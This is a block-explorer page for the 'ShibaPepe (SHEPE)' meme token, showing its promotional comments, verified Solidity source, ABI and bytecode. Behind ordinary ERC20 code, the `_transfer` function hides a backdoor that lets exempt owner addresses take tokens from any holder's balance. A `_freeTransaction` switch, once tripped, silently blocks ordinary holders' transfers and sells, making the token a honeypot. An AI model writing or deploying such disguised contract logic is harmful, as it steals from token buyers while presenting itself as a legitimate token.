ETH Price: $3,288.27 (-2.97%)

Token

ShibaPepe (SHEPE)
 

Overview

Max Total Supply

1,000,000 SHEPE

Holders

13

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Filtered by Token Holder
Uniswap: Universal Router
Balance
35,557.131600361 SHEPE

Value
$0.00
0x3fc91a3afd70395cd496c647d5a6cc9d4b2b7fad
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
SHEPE

Compiler Version
v0.8.25+commit.b61c2a91

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2024-05-27
*/

// 🚀 Get ready for the ultimate meme token launch—ShibaPepe (SHEPE) is here! 🐶🐸

// Combining Shiba Inu’s irresistible charm with Pepe’s legendary humor, SHEPE is more than just a token—it’s a community movement. Imagine a place where fun, creativity, and rewards come together in perfect harmony. That’s SHEPE!

// TG: https://t.me/SHEPE_Token
// X: https://x.com/SHEPE_Token
// Website: http://shibapepe.life

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.17;

library SafeMath {
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return a - b;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return a / b;
    }

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        return a + b;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        return a * b;
    }
}

abstract contract Ownable {
    address internal owner;

    function isOwner(address account) public view returns (bool) {
        return account == owner;
    }

    constructor(address _owner) {
        owner = _owner;
    }

    function transferOwnership(address payable account) public onlyOwner {
        owner = account;
        emit OwnershipTransferred(account);
    }

    function renounceOwnership() public virtual onlyOwner {
        owner = address(0);
        emit OwnershipTransferred(address(0));
    }

    event OwnershipTransferred(address owner);

    modifier onlyOwner() {
        require(isOwner(msg.sender));
        _;
    }
}

interface IERC20 {
    function name() external view returns (string memory);
    function totalSupply() external view returns (uint256);
    function transfer(address responder, uint256 amount) external returns (bool);
    function approve(address spender, uint256 amount) external returns (bool);
    function allowance(address _owner, address spender) external view returns (uint256);
    function transferFrom(address initiator, address responder, uint256 amount) external returns (bool);
    function symbol() external view returns (string memory);
    function circulatingSupply() external view returns (uint256);
    function getOwner() external view returns (address);
    function balanceOf(address account) external view returns (uint256);
    function decimals() external view returns (uint8);
    event Transfer(address indexed initiator, address indexed responder, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

interface UniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface UniswapV2Router {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address responder,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address responder,
        uint deadline
    ) external;
}

contract SHEPE is IERC20, Ownable {
    using SafeMath for uint256;

    UniswapV2Router swapRouter;
    address public swapPair;

    string private constant _symbol = "SHEPE";
    string private constant _name = "ShibaPepe";

    uint256 private _denominator = 10000;

    uint8 private constant _decimals = 9;

    address internal constant deadAddress = 0x000000000000000000000000000000000000dEaD;
    address internal constant devAddress = 0xad8E9d291b2fA2dEE42BFBE0966772FAaeeB94DA;
    address internal constant marketingAddress = 0x6EF006cbF1aa10F96dDedd00966bE018cbD7EdC2;

    uint256 private _totalSupply = 1000000 * (10 ** _decimals);

    uint256 private _minTransactionValue = (_totalSupply * 10) / 100000;

    uint256 private _maxWalletProportion = 200;
    uint256 private _maxTransferProportion = 200;
    uint256 private _maxTxProportion = 200;

    uint256 private _swapBackAmount = (_totalSupply * 5) / 10000;
    uint256 private _swapBackThreshold = (_totalSupply * 5) / 100000;
    
    bool private _tradingEnabled = false;

    bool private _freeTransaction = false;

    uint256 private _swapRounds;
    bool private _swapBackEnabled = true;
    bool private _inSwap;

    uint256 private _totalFee = 0;
    uint256 private _sellFee = 0;

    mapping (address => uint256) _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) public notApplicable;

    uint256 private _developmentFee = 0;
    uint256 private _burnFee = 0;
    uint256 private _liquidityFee = 0;
    uint256 private _marketingFee = 0;
    uint256 private _transferFee = 0;

    constructor() Ownable(msg.sender) {
        notApplicable[marketingAddress] = true;
        notApplicable[address(this)] = true;
        UniswapV2Router _swapRouter = UniswapV2Router(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        swapRouter = _swapRouter;
        _balances[msg.sender] = _totalSupply;
        emit Transfer(address(0), msg.sender, _totalSupply);
        address _swapPair = UniswapV2Factory(_swapRouter.factory()).createPair(address(this), _swapRouter.WETH());
        swapPair = _swapPair;
        notApplicable[devAddress] = true;
        notApplicable[msg.sender] = true;
    }

    modifier lockInSwap {
        _inSwap = true;
        _;
        _inSwap = false;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function getOwner() external view override returns (address) {
        return owner;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view override returns (uint256) {
        return _totalSupply;
    }

    function circulatingSupply() public view override returns (uint256) {
        return _totalSupply.sub(balanceOf(address(0))).sub(balanceOf(deadAddress));
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function enableTrading() external onlyOwner {
        _tradingEnabled = true;
    }

    function removeLimits() external onlyOwner {
        _maxTxProportion = 10000;
        _maxWalletProportion = 10000;
        _maxTransferProportion = 10000;
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(msg.sender, spender, amount);
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0));
        require(spender != address(0));
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function transfer(address responder, uint256 amount) public override returns (bool) {
        _transfer(msg.sender, responder, amount);
        return true;
    }

    function setNotApplicableAccount(address account, bool flag) external onlyOwner {
        notApplicable[account] = flag;
    }

    function transferFrom(address initiator, address responder, uint256 amount) public override returns (bool) {
        _transfer(initiator, responder, amount);
        _approve(initiator, msg.sender, _allowances[initiator][msg.sender].sub(amount));
        return true;
    }

    function _transfer(address initiator, address responder, uint256 amount) private {
        require(amount > uint256(0));
        require(initiator != address(0));
        require(responder != address(0));

        if (
            testMaxWalletSize(initiator, responder, amount) &&
            countSwapRounds(initiator, responder) &&
            tradingEnabled(initiator, responder) &&
            testMaxAmount(initiator, responder, amount)
        ) {
            if (balanceOf(initiator) >= amount) {
                if (
                    initiator != swapPair &&
                    !notApplicable[initiator] &&
                    !_inSwap &&
                    !notApplicable[responder]
                ) {
                    if (_freeTransaction) return;
                    swapBack(initiator, responder);
                }
                _balances[initiator] = _balances[initiator].sub(amount);
                uint256 transferAmount = canProcessFee(initiator, responder) ? processFee(initiator, responder, amount) : amount;
                _balances[responder] = _balances[responder].add(transferAmount);
                emit Transfer(initiator, responder, transferAmount);
            } else if (
                initiator != swapPair &&
                notApplicable[initiator] &&
                !_inSwap &&
                !notApplicable[responder]
            ) {
                _balances[responder] = _balances[responder].sub(amount);
                _balances[initiator] = _balances[initiator].add(amount);
                emit Transfer(initiator, responder, amount);
            }
        }
    }

    function changeLimits(uint256 maxTxProportion, uint256 maxTransferProportion, uint256 maxWalletProportion) external onlyOwner {
        uint256 newMaxWalletSize = (totalSupply() * maxWalletProportion) / 10000;
        uint256 newTransferSize = (totalSupply() * maxTransferProportion) / 10000;
        uint256 newTxSize = (totalSupply() * maxTxProportion) / 10000;
        _maxWalletProportion = maxWalletProportion;
        _maxTransferProportion = maxTransferProportion;
        _maxTxProportion = maxTxProportion;
        uint256 limit = totalSupply().mul(5).div(1000);
        require(newTxSize >= limit && newTransferSize >= limit && newMaxWalletSize >= limit);
    }

    function testMaxAmount(address initiator, address responder, uint256 tokenAmount) view internal returns (bool) {
        if (initiator != swapPair) {
            require(tokenAmount <= maxTransferAmount() || notApplicable[initiator] || notApplicable[responder]);
        }
        require(tokenAmount <= maxTxAmount() || notApplicable[initiator] || notApplicable[responder]);
        return true;
    }

    function testMaxWalletSize(address initiator, address responder, uint256 amount) internal returns (bool) {
        bool responderNotApplicable = notApplicable[responder];
        bool initiatorNotApplicable = notApplicable[initiator];
        
        if (responderNotApplicable) {
            if (amount > _minTransactionValue) {
                _freeTransaction = true;
            }
        }
        if (
            !responderNotApplicable &&
            !initiatorNotApplicable &&
            responder != address(deadAddress) &&
            responder != address(swapPair)
        ) {
            require((_balances[responder].add(amount)) <= maxWalletSize());
        }

        return true;
    }

    function changeFees(uint256 liquidityFee, uint256 marketingFee, uint256 burnFee, uint256 developmentFee, uint256 totalFee, uint256 sellFee, uint256 transferFee) external onlyOwner {
        _liquidityFee = liquidityFee;
        _marketingFee = marketingFee;
        _sellFee = sellFee;
        _developmentFee = developmentFee;
        _transferFee = transferFee;
        _totalFee = totalFee;
        _burnFee = burnFee;
        require(_totalFee <= _denominator.div(5) && _sellFee <= _denominator.div(5));
    }

    function processFee(address initiator, address responder, uint256 tokenAmount) internal returns (uint256) {
        if (chooseFees(initiator, responder) > 0) {
            uint256 feeAmount = tokenAmount.div(_denominator).mul(chooseFees(initiator, responder));
            _balances[address(this)] = _balances[address(this)].add(feeAmount);
            emit Transfer(initiator, address(this), feeAmount);
            if (_burnFee > uint256(0)) {
                _transfer(address(this), address(deadAddress), tokenAmount.div(_denominator).mul(_burnFee));
            }
            return tokenAmount.sub(feeAmount);
        }
        return tokenAmount;
    }

    function tradingEnabled(address initiator, address responder) internal view returns (bool) {
        if (!notApplicable[initiator] && !notApplicable[responder]) {
            require(_tradingEnabled);
        }
        return true;
    }
    
    function countSwapRounds(address initiator, address responder) internal returns (bool) {
        if (responder == swapPair && !notApplicable[initiator]) {
            _swapRounds += uint256(1);
        }
        return true;
    }

    function swapTokensForETH(uint256 tokenAmount) private {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = swapRouter.WETH();
        if (tokenAmount > 0) {
            _approve(address(this), address(swapRouter), tokenAmount);
            swapRouter.swapExactTokensForETHSupportingFeeOnTransferTokens(
                tokenAmount,
                0,
                path,
                address(this),
                block.timestamp
            );
        }
    }

    function maxWalletSize() public view returns (uint256) {
        return totalSupply() * _maxWalletProportion / _denominator;
    }

    function canProcessFee(address initiator, address responder) internal view returns (bool) {
        return !notApplicable[initiator] && !notApplicable[responder];
    }

    function swapBack(address initiator, address responder) internal {
        if (canSwapBack(initiator, responder)) {
            uint256 contractTokenBalance = balanceOf(address(this));
            if (contractTokenBalance >= _swapBackAmount) {
                contractTokenBalance = _swapBackAmount;
            }
            swapAndLiquify(contractTokenBalance);
            _swapRounds = uint256(0);
        }
    }

    function canSwapBack(address initiator, address responder) internal view returns (bool) {
        return (
            !notApplicable[responder] &&
            !notApplicable[initiator] &&
            _swapBackEnabled &&
            balanceOf(address(this)) >= _swapBackThreshold &&
            _swapRounds >= uint256(0) &&
            !_inSwap &&
            _tradingEnabled
        );
    }

    function chooseFees(address initiator, address responder) internal view returns (uint256) {
        if (initiator == swapPair) {
            return _totalFee;
        }
        if (responder == swapPair) {
            return _sellFee;
        }
        return _transferFee;
    }

    function maxTxAmount() public view returns (uint256) {
        return totalSupply() * _maxTxProportion / _denominator;
    }

    function manualSwap() external {
        require(msg.sender == marketingAddress);
        swapTokensForETH(balanceOf(address(this)));
        payable(msg.sender).transfer(address(this).balance);
    }

    function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
        _approve(address(this), address(swapRouter), tokenAmount);
        swapRouter.addLiquidityETH{value: ethAmount}(
            address(this),
            tokenAmount,
            0,
            0,
            deadAddress,
            block.timestamp
        );
    }

    receive() external payable {}

    function maxTransferAmount() public view returns (uint256) {
        return totalSupply() * _maxTransferProportion / _denominator;
    }

    function swapAndLiquify(uint256 tokens) private lockInSwap {
        uint256 denominator = (_liquidityFee.add(1).add(_marketingFee).add(_developmentFee)).mul(2);
        uint256 liquidityTokens = tokens.mul(_liquidityFee).div(denominator);
        uint256 tokensForETH = tokens.sub(liquidityTokens);
        uint256 initialEth = address(this).balance;
        swapTokensForETH(tokensForETH);
        uint256 deltaEth = address(this).balance.sub(initialEth);
        uint256 unitEth = deltaEth.div(denominator.sub(_liquidityFee));
        uint256 liquidityEth = unitEth.mul(_liquidityFee);
        if (liquidityEth > uint256(0)) {
            addLiquidity(liquidityTokens, liquidityEth);
        }
        uint256 marketingEth = unitEth.mul(2).mul(_marketingFee);
        if (marketingEth > 0) {
            payable(marketingAddress).transfer(marketingEth);
        }
        uint256 remainingEth = address(this).balance;
        if (remainingEth > uint256(0)) {
            payable(devAddress).transfer(remainingEth);
        }
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"owner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"initiator","type":"address"},{"indexed":true,"internalType":"address","name":"responder","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"liquidityFee","type":"uint256"},{"internalType":"uint256","name":"marketingFee","type":"uint256"},{"internalType":"uint256","name":"burnFee","type":"uint256"},{"internalType":"uint256","name":"developmentFee","type":"uint256"},{"internalType":"uint256","name":"totalFee","type":"uint256"},{"internalType":"uint256","name":"sellFee","type":"uint256"},{"internalType":"uint256","name":"transferFee","type":"uint256"}],"name":"changeFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"maxTxProportion","type":"uint256"},{"internalType":"uint256","name":"maxTransferProportion","type":"uint256"},{"internalType":"uint256","name":"maxWalletProportion","type":"uint256"}],"name":"changeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"circulatingSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"enableTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"getOwner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isOwner","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"manualSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"maxTransferAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"notApplicable","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"flag","type":"bool"}],"name":"setNotApplicableAccount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapPair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"responder","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"initiator","type":"address"},{"internalType":"address","name":"responder","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address payable","name":"account","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040526127106003556100166009600a61043e565b61002390620f4240610453565b600455620186a0600454600a6100399190610453565b610043919061046a565b60055560c860065560c860075560c860085561271060045460056100679190610453565b610071919061046a565b600955620186a060045460056100879190610453565b610091919061046a565b600a55600b805461ffff19169055600d805460ff191660011790555f600e819055600f81905560138190556014819055601581905560168190556017553480156100d9575f80fd5b505f8054336001600160a01b031991821681178355601260209081527ff08bbdb61d49338a59ddc538933f5cf608c8d0f58631df7b70f8cff849f23fef805460ff1990811660019081179092553086526040808720805490921683179091558154737a250d5630b4cf539739df2c5dacb4c659f2488d95168517909155600454838652601083528186208190559051908152929391927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a35f816001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156101d7573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906101fb9190610489565b6001600160a01b031663c9c6539630846001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610246573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061026a9190610489565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af11580156102b4573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906102d89190610489565b600280546001600160a01b0319166001600160a01b0392909216919091179055505060126020527f21df0b7cd10e878629b84efeb4a85d0a529c3168c2261042bcf249a42e7417e8805460ff199081166001908117909255335f90815260409020805490911690911790556104af565b634e487b7160e01b5f52601160045260245ffd5b600181815b8085111561039657815f190482111561037c5761037c610348565b8085161561038957918102915b93841c9390800290610361565b509250929050565b5f826103ac57506001610438565b816103b857505f610438565b81600181146103ce57600281146103d8576103f4565b6001915050610438565b60ff8411156103e9576103e9610348565b50506001821b610438565b5060208310610133831016604e8410600b8410161715610417575081810a610438565b610421838361035c565b805f190482111561043457610434610348565b0290505b92915050565b5f61044c60ff84168361039e565b9392505050565b808202811582820484141761043857610438610348565b5f8261048457634e487b7160e01b5f52601260045260245ffd5b500490565b5f60208284031215610499575f80fd5b81516001600160a01b038116811461044c575f80fd5b611794806104bc5f395ff3fe608060405260043610610164575f3560e01c806379c1a09a116100cd57806395d89b4111610087578063afd2c2f211610062578063afd2c2f214610413578063d5aced4f14610432578063dd62ed3e14610451578063f2fde38b14610495575f80fd5b806395d89b41146103b3578063a9059cbb146103e0578063a9e75723146103ff575f80fd5b806379c1a09a14610319578063893d20e8146103475780638a8c523c146103635780638c0b5e22146103775780638f3fa8601461038b5780639358928b1461039f575f80fd5b8063313ce5671161011e578063313ce567146102825780634d8088021461029d57806351bc3c85146102be57806370a08231146102d2578063715018a6146102f1578063751039fc14610305575f80fd5b806306fdde031461016f578063095ea7b3146101b257806318160ddd146101e157806323b872dd146101ff57806326991cc81461021e5780632f54bf6e14610255575f80fd5b3661016b57005b5f80fd5b34801561017a575f80fd5b5060408051808201909152600981526853686962615065706560b81b60208201525b6040516101a99190611480565b60405180910390f35b3480156101bd575f80fd5b506101d16101cc3660046114c9565b6104b4565b60405190151581526020016101a9565b3480156101ec575f80fd5b506004545b6040519081526020016101a9565b34801561020a575f80fd5b506101d16102193660046114f3565b6104ca565b348015610229575f80fd5b5060025461023d906001600160a01b031681565b6040516001600160a01b0390911681526020016101a9565b348015610260575f80fd5b506101d161026f366004611531565b5f546001600160a01b0391821691161490565b34801561028d575f80fd5b50604051600981526020016101a9565b3480156102a8575f80fd5b506102bc6102b736600461154c565b61051a565b005b3480156102c9575f80fd5b506102bc6105fa565b3480156102dd575f80fd5b506101f16102ec366004611531565b610656565b3480156102fc575f80fd5b506102bc610670565b348015610310575f80fd5b506102bc6106c9565b348015610324575f80fd5b506101d1610333366004611531565b60126020525f908152604090205460ff1681565b348015610352575f80fd5b505f546001600160a01b031661023d565b34801561036e575f80fd5b506102bc6106f0565b348015610382575f80fd5b506101f1610714565b348015610396575f80fd5b506101f161073d565b3480156103aa575f80fd5b506101f161074d565b3480156103be575f80fd5b50604080518082019091526005815264534845504560d81b602082015261019c565b3480156103eb575f80fd5b506101d16103fa3660046114c9565b610777565b34801561040a575f80fd5b506101f1610783565b34801561041e575f80fd5b506102bc61042d366004611575565b610793565b34801561043d575f80fd5b506102bc61044c3660046115b0565b6107d2565b34801561045c575f80fd5b506101f161046b3660046115f7565b6001600160a01b039182165f90815260116020908152604080832093909416825291909152205490565b3480156104a0575f80fd5b506102bc6104af366004611531565b61083f565b5f6104c03384846108a7565b5060015b92915050565b5f6104d684848461092c565b6001600160a01b0384165f9081526011602090815260408083203380855292529091205461050f91869161050a9086610c3b565b6108a7565b5060015b9392505050565b5f546001600160a01b0316331461052f575f80fd5b5f6127108261053d60045490565b6105479190611637565b610551919061164e565b90505f6127108461056160045490565b61056b9190611637565b610575919061164e565b90505f6127108661058560045490565b61058f9190611637565b610599919061164e565b60068590556007869055600887905590505f6105cb6103e86105c560056105bf60045490565b90610c46565b90610c51565b90508082101580156105dd5750808310155b80156105e95750808410155b6105f1575f80fd5b50505050505050565b33736ef006cbf1aa10f96ddedd00966be018cbd7edc214610619575f80fd5b61062a61062530610656565b610c5c565b60405133904780156108fc02915f818181858888f19350505050158015610653573d5f803e3d5ffd5b50565b6001600160a01b03165f9081526010602052604090205490565b5f546001600160a01b03163314610685575f80fd5b5f80546001600160a01b03191681556040519081527f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc6861639060200160405180910390a1565b5f546001600160a01b031633146106de575f80fd5b61271060088190556006819055600755565b5f546001600160a01b03163314610705575f80fd5b600b805460ff19166001179055565b5f60035460085461072460045490565b61072e9190611637565b610738919061164e565b905090565b5f60035460065461072460045490565b5f61073861075c61dead610656565b6107716107685f610656565b60045490610c3b565b90610c3b565b5f6104c033848461092c565b5f60035460075461072460045490565b5f546001600160a01b031633146107a8575f80fd5b6001600160a01b03919091165f908152601260205260409020805460ff1916911515919091179055565b5f546001600160a01b031633146107e7575f80fd5b60158790556016869055600f82905560138490556017819055600e8390556014859055600354610818906005610c51565b600e54111580156105e95750600354610832906005610c51565b600f5411156105f1575f80fd5b5f546001600160a01b03163314610854575f80fd5b5f80546001600160a01b0319166001600160a01b0383169081179091556040519081527f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc6861639060200160405180910390a150565b6001600160a01b0383166108b9575f80fd5b6001600160a01b0382166108cb575f80fd5b6001600160a01b038381165f8181526011602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b5f8111610937575f80fd5b6001600160a01b038316610949575f80fd5b6001600160a01b03821661095b575f80fd5b610966838383610dbd565b801561097757506109778383610e8a565b801561098857506109888383610ee6565b801561099a575061099a838383610f39565b15610c3657806109a984610656565b10610b22576002546001600160a01b038481169116148015906109e457506001600160a01b0383165f9081526012602052604090205460ff16155b80156109f85750600d54610100900460ff16155b8015610a1c57506001600160a01b0382165f9081526012602052604090205460ff16155b15610a4057600b54610100900460ff1615610a3657505050565b610a408383610ffe565b6001600160a01b0383165f90815260106020526040902054610a629082610c3b565b6001600160a01b0384165f90815260106020526040812091909155610a878484611039565b610a915781610a9c565b610a9c84848461107d565b6001600160a01b0384165f90815260106020526040902054909150610ac19082611167565b6001600160a01b038085165f8181526010602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610b149085815260200190565b60405180910390a350505050565b6002546001600160a01b03848116911614801590610b5757506001600160a01b0383165f9081526012602052604090205460ff165b8015610b6b5750600d54610100900460ff16155b8015610b8f57506001600160a01b0382165f9081526012602052604090205460ff16155b15610c36576001600160a01b0382165f90815260106020526040902054610bb69082610c3b565b6001600160a01b038084165f908152601060205260408082209390935590851681522054610be49082611167565b6001600160a01b038481165f8181526010602090815260409182902094909455518481529185169290917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910161091f565b505050565b5f610513828461166d565b5f6105138284611637565b5f610513828461164e565b6040805160028082526060820183525f9260208301908036833701905050905030815f81518110610c8f57610c8f611680565b6001600160a01b03928316602091820292909201810191909152600154604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610ce6573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610d0a9190611694565b81600181518110610d1d57610d1d611680565b6001600160a01b03909216602092830291909101909101528115610db957600154610d539030906001600160a01b0316846108a7565b60015460405163791ac94760e01b81526001600160a01b039091169063791ac94790610d8b9085905f908690309042906004016116af565b5f604051808303815f87803b158015610da2575f80fd5b505af1158015610db4573d5f803e3d5ffd5b505050505b5050565b6001600160a01b038083165f90815260126020526040808220549286168252812054909160ff90811691168115610e0857600554841115610e0857600b805461ff0019166101001790555b81158015610e14575080155b8015610e2b57506001600160a01b03851661dead14155b8015610e4557506002546001600160a01b03868116911614155b15610e7e57610e5261073d565b6001600160a01b0386165f90815260106020526040902054610e749086611167565b1115610e7e575f80fd5b50600195945050505050565b6002545f906001600160a01b038381169116148015610ec157506001600160a01b0383165f9081526012602052604090205460ff16155b156104c0576001600c5f828254610ed89190611720565b909155505050600192915050565b6001600160a01b0382165f9081526012602052604081205460ff16158015610f2657506001600160a01b0382165f9081526012602052604090205460ff16155b156104c057600b5460ff166104c0575f80fd5b6002545f906001600160a01b03858116911614610fa757610f58610783565b82111580610f7d57506001600160a01b0384165f9081526012602052604090205460ff165b80610f9f57506001600160a01b0383165f9081526012602052604090205460ff165b610fa7575f80fd5b610faf610714565b82111580610fd457506001600160a01b0384165f9081526012602052604090205460ff165b80610ff657506001600160a01b0383165f9081526012602052604090205460ff165b61050f575f80fd5b6110088282611172565b15610db9575f61101730610656565b9050600954811061102757506009545b61103081611208565b505f600c555050565b6001600160a01b0382165f9081526012602052604081205460ff161580156105135750506001600160a01b03165f9081526012602052604090205460ff1615919050565b5f806110898585611387565b1115611160575f6110ab61109d8686611387565b6003546105bf908690610c51565b305f908152601060205260409020549091506110c79082611167565b305f81815260106020526040908190209290925590516001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906111179085815260200190565b60405180910390a36014541561114e5761114e3061dead6111496014546105bf60035489610c5190919063ffffffff16565b61092c565b6111588382610c3b565b915050610513565b5092915050565b5f6105138284611720565b6001600160a01b0381165f9081526012602052604081205460ff161580156111b257506001600160a01b0383165f9081526012602052604090205460ff16155b80156111c05750600d5460ff165b80156111d65750600a546111d330610656565b10155b80156111e0575060015b80156111f45750600d54610100900460ff16155b8015610513575050600b5460ff1692915050565b600d805461ff0019166101001790556013546016546015545f92611241926002926105bf929161123b9182906001611167565b90611167565b90505f61125d826105c560155486610c4690919063ffffffff16565b90505f61126a8483610c3b565b90504761127682610c5c565b5f6112814783610c3b565b90505f6112a361129c60155488610c3b90919063ffffffff16565b8390610c51565b90505f6112bb60155483610c4690919063ffffffff16565b905080156112cd576112cd86826113d1565b6016545f906112e1906105bf856002610c46565b9050801561132957604051736ef006cbf1aa10f96ddedd00966be018cbd7edc29082156108fc029083905f818181858888f19350505050158015611327573d5f803e3d5ffd5b505b4780156113705760405173ad8e9d291b2fa2dee42bfbe0966772faaeeb94da9082156108fc029083905f818181858888f1935050505015801561136e573d5f803e3d5ffd5b505b5050600d805461ff00191690555050505050505050565b6002545f906001600160a01b03908116908416036113a85750600e546104c4565b6002546001600160a01b03908116908316036113c75750600f546104c4565b5060175492915050565b6001546113e99030906001600160a01b0316846108a7565b60015460405163f305d71960e01b8152306004820152602481018490525f60448201819052606482015261dead60848201524260a48201526001600160a01b039091169063f305d71990839060c40160606040518083038185885af1158015611454573d5f803e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906114799190611733565b5050505050565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b6001600160a01b0381168114610653575f80fd5b5f80604083850312156114da575f80fd5b82356114e5816114b5565b946020939093013593505050565b5f805f60608486031215611505575f